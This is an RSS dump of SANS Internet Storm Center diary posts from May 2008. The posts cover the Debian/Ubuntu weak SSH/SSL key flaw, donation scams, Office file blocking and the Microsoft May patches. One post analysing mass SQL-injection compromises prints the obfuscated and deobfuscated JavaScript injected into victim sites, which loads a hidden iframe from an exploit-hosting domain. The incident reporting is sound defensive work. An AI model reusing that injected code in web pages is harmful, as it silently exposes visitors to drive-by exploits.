http://isc.sans.org en-us Sat, 17 May 2008 13:30:02 +0000 Sat, 17 May 2008 00:05:47 GMT (C) SANS Institute 2008 isc rss feed maker 30 webmaster@sans.org http://isc.sans.org/images/status.gif http://isc.sans.org http://isc.sans.org/diary.php?storyid=4426&rss http://isc.sans.org/diary.php?storyid=4426&rss Now that you are done regenerating SSH keypairs and SSL certificates on your Debian and Ubuntu machines, we return you to our usual programming. Oh, wait, we have an oldie but goody that has returned. Ever since Hurricane Katrina back in 2005 (see http://isc.sans.org/diary.html?storyid=643), we've seen after every significant natural disaster, the scammers start registering domains and try to collect donations. The last 2 weeks have seen Cyclone Nargis hit Myanmar and then the big earthquake in China and as expected, we've seen registration of domains related to those disasters. These may not all be scams, but we repeat the advice we first gave nearly 3 years ago, if you wish to donate money to help the victims of these disasters, we suggest you stick to the established charities that you have a relationship with (such as the Red Cross or Church World Service or the like) through their main web pages or the phone. http://isc.sans.org/diary.php?storyid=4423&rss http://isc.sans.org/diary.php?storyid=4423&rss The Debian/Ubuntu SSL problem by now has sufficient media attention. Once the big security firms raise their threat level indicators, we at SANS ISC can go back to green :).
Debian Wiki has a good (and evolving) write-up on problems and resolutions: wiki.debian.org/SSLkeys
As a reminder, all systems that contain Debian/Ubuntu generated cryptographic key material are potentially vulnerable. You need to check those authorized_keys files for SSH on all platforms, not just on Debian. http://isc.sans.org/diary.php?storyid=4421&rss http://isc.sans.org/diary.php?storyid=4421&rss
As you can see, we raised the INFOCon level to yellow. The main idea behind INFOCon is to protect the Internet infrastructure at large, and the development on automated scripts exploiting key based SSH authentication looks like a real threat to SSH servers around the world (any SSH server using public keys that were generated on a vulnerable Debian machine meaning the keys had to be generated on a Debian machine between September 2006 and 13th of May 2008).

Note: 'Debian' in the above paragraph refers to any Debian-based Linux distribution including Ubuntu.



Scripts that allow brute forcing of vulnerable keys (see this as rainbow tables for SSH keys) are in the wild so we would like to remind all of you to regenerate SSH keys ASAP.

Please keep in mind that SSL certificates should be regenerated as well. This can be even more problematic if you had your certificates signed since you'll have to go through this process again (and possibly pay money again).

Update 2310 UTC: The new Debian package for SSH (ssh_4.3p2-9etch1) also applies a package called openssh-blacklist. After this update, your SSH server will refuse keys from the compromised set. The package also installs a new tool called ssh-vulnkey that can help in hunting down key files that contain weak keys. Note that in combination with the existing ssh-keyscan, ssh-vulnkey can be used to easily identify servers that use weak host keys, so while these Debian patches help those who patch, they also make attacks easier against those who did not yet patch.

More information is available in our previous diaries:

http://isc.sans.org/diary.html?storyid=4420

http://isc.sans.org/diary.html?storyid=4414
http://isc.sans.org/diary.php?storyid=4420&rss http://isc.sans.org/diary.php?storyid=4420&rss
Couple of days ago Swa posted a diary about a critical Debian/Ubuntu PRNG security vulnerability.

Today Matt wrote in to let us know that H D Moore posted a web page containing all SSH 1024, 2048 and 4096-bit RSA keys he brute forced.

It is obvious that this is highly critical if you are running a Debian or Ubuntu system, and you are using keys for SSH authentication (ironically, that's something we've been recommending for a long time), and those keys were generated between September 2006 and May 13th 2008 then you are vulnerable. In other words, those secure systems can be very easily brute forced. What's even worse, H D Moore said that he will soon release a brute force tool that will allow an attacker easy access to any SSH account that uses public key authentication.

But this is not all keep in mind that ANY cryptographic material created on vulnerable systems can be compromised. If you generated SSL keys on such Debian or Ubuntu systems, you will have to recreate the certificates and get them signed again. An attacker can even decrypt old SSH sessions now.

The Debian project guys released a tool that can detect weak keys (it is not 100% correct though as the blacklist in the tool can be incomplete). You can download the tool from http://security.debian.org/project/extra/dowkd/dowkd.pl.gz.



The bottom line is: this is very, very, very serious and scary. Please check your systems and make sure that you are both patched, and that you regenerated any potentially weak cryptographic material.

UPDATE



There have been some questions if this is related to the increase of SSH attacks we reported about couple of days ago (see http://isc.sans.org/diary.html?storyid=4408). At this point in time we think it is just a coincidence. In any case, you can help us by checking your logs if the attackers are brute forcing password logins then the attack has nothing to do with this, but if you are seeing key authentication attempts then it is red alert.

The situation with web certificates is even worse the public key is really that: public. So, for a weak key generated on Debian, an attacker could derive the private key and construct a Man-In-The-Middle attack without any problems in the browser! Very very scary. Makes one wonder how many people used Debian to generate their SSL keys.

As Swa said, there are basically 2 scenarios:

the public key is known publicly - no brute force needed, the attackers walk in private key in hand
the public key isn't found - brute force of some 260K keys needed.


--

Bojan http://isc.sans.org/diary.php?storyid=4418&rss http://isc.sans.org/diary.php?storyid=4418&rss
There have been a lot of discussions going on about these injection attacks. The one thing in common so far has been that the culprits are abusing security vulnerabilities in various web applications, mainly SQL injection.

Exploiting of such vulnerabilities became relatively easy (since there are many vulnerable applications that use similar backend logic), so the bad guys started releasing various tools that enable them to compromise sites automatically. I analyzed one such tool at http://isc.sans.org/diary.html?storyid=4294, which was probably used for a lot of SQL injection attacks we have seen lately (but be aware that other similar tools exist and are actively used in the underground, one such tool in use with botnets was analyzed by Joe at SecureWorks, http://www.secureworks.com/research/threats/danmecasprox/).

While the motive for this is more or less standard steal credentials or virtual goods so you can convert/sell that for real money (Mike and Steven from Shadowserver posted very nice articles at http://www.shadowserver.org/wiki/pmwiki.php?n=Calendar.20080507 and http://www.shadowserver.org/wiki/pmwiki.php?n=Calendar.20080513) - while analyzing one such site today I saw an interesting rant, presumably by the author.

The site has already been mentioned multiple times (www.ririwow.cn, which appears to be finally taken down). The majority of attacks actually pointed to this site which happily served some exploits to the end user. However, this time the main index.htm file had this text appended at the bottom:

This is a mass invasion. Safeguard the motherland's dignity!

F*** FRANCE! F*** CNN! I WILL ATTACK you ALWAYS !

I love my motherland!

sorry

Please understand that I

IF YOU WANT TO SAY SOMETHING .

PLEASE SEND EMAIL TO kiss117276@163.com

(language edited)

Interesting. While this could have been added by anyone, I found another interesting thing thanks to a heads up from our friend Paul from pauldotcom.com. Paul analyzed a compromised site which had this piece of JavaScript inserted:

eval(function(p,a,c,k,e,d){e=function(c){return(ca?'':e(parseInt(c/a)))+((c=c%a)returnp}('8(b.e==\'i-2\

'){}4{3.g(9d=7:\/\/h.c.2\/a.6 f=15=0\/9}',62,19,'|100|cn|document|else|height|htm|http|if|iframe|index

|navigator|ririwow|src|systemLanguage|width|writeln|www|zh'.split('|'),0,{}))

After deobfuscating the code, we get this:

if (navigator.systemLanguage=='zh-cn'){}else{document.writeln(iframe

src=http://www.ririwow.cn/index.htm width=100 height=0/iframe}

In other words, the code checks if the system language variable is set to ZH-CN (which is set on systems running in Chinese) and redirects you to the site hosting exploit only if that is not true. So the rant might really be from the author, after all since the code is attacking all non-Chinese machines. Are we getting more serious with this or the bottom line is still (and only) information stealing and money.

--

Bojan http://isc.sans.org/diary.php?storyid=4415&rss http://isc.sans.org/diary.php?storyid=4415&rss Microsoft introduced the ability to block file formats to the different programs in office and safer ways to open suspect files about a year ago.
The file blocking is not based on the file extension but on the actual format (so renaming a rich text file (.rtf) to a .doc won't get around the restriction). Unfortunately it's set by making changes in the registry and perhaps worse: it's a blacklist instead of a list of allowed file types. Still if you never intend to open e.g. rtf files, you could block it.
Microsoft Office Isolated Conversion Environment (MOICE) is an alternate way to open office files away from the actual tool. Use it instead of the real thing if you cannot resist opening that unsolicited attachment promising whatever it promises.

http://blogs.technet.com/swi/archive/2008/05/13/file-block-and-ms08-026.aspx
http://www.microsoft.com/technet/security/advisory/937696.mspx

It seems these tools aren't widely used, hence drawing a bit more attention to them might help protect a few in the end.
--

Swa Frantzen -- Gorilla Security http://isc.sans.org/diary.php?storyid=4411&rss http://isc.sans.org/diary.php?storyid=4411&rss Overview of the May 2008 Microsoft patches and their status.



#
Affected
Contra Indications
Known Exploits
Microsoft rating
ISC rating(*)


clients
servers




MS08-026
Multiple vulnerabilities allow code execution when opening a malicious file. Files opened with word and edited with word in outlook are of particular concern.

Replaces MS08-009.


Office



CVE-2008-1091

CVE-2008-1434
KB 951207
No publicly known exploits
Critical
Critical
Important


MS08-027
The fixed vulnerability is an input validation failure leading to memory corruption and code execution.

Replaces MS08-012 and MS07-037.


Publisher



CVE-2008-0119
KB 951208


No publicly known exploits
Critical
Critical
Important


MS08-028
The fixed vulnerability is an input validation failure leading to a buffer overflow and allowing code execution.


Jet database engine



CVE-2007-6026
KB 950749



SA 950627
Actively exploited
Critical
PATCH NOW
Important


MS08-029

Microsoft onecare, antigen, defender and forefront use the malware protection engine. It suffers from multiple input validation failures leading to a Denial of Service.




Microsoft malware protection engine



CVE-2008-1437

CVE-2008-1438

KB 952044


No publicly known exploits
Moderate
Less Urgent
Important





We will update issues on this page as they evolve.

We appreciate updates

US based customers can call Microsoft for free patch related support on 1-866-PCSAFETY

(*): ISC rating

We use 4 levels:

PATCH NOW: Typically used where we see immediate danger of exploitation. Typical environments will want to deploy these patches ASAP. Workarounds are typically not accepted by users or are not possible. This rating is often used when typical deployments make it vulnerable and exploits are being used or easy to obtain or make.
Critical: Anything that needs little to become interesting for the dark side. Best approach is to test and deploy ASAP. Workarounds can give more time to test.
Important: Things where more testing and other measures can help.
Less Urgent: Typically we expect the impact if left unpatched to be not that big a deal in the short term. Do not forget them however.


The difference between the client and server rating is based on how you use the affected machine. We take into account the typical client and server deployment in the usage of the machine and the common measures people typically have in place already. Measures we presume are simple best practices for servers such as not using outlook, MSIE, word etc. to do traditional office or leisure work.
The rating is not a risk analysis as such. It is a rating of importance of the vulnerability and the perceived or even predicted threat for affected systems. The rating does not account for the number of affected systems there are. It is for an affected system in a typical worst-case role.
Only the organization itself is in a position to do a full risk analysis involving the presence (or lack of) affected systems, the actually implemented measures, the impact on their operation and the value of the assets involved.
All patches released by a vendor are important enough to have a close look if you use the affected systems. There is little incentive for vendors to publicize patches that do not have some form of risk to them.


--

Swa Frantzen -- Gorilla Security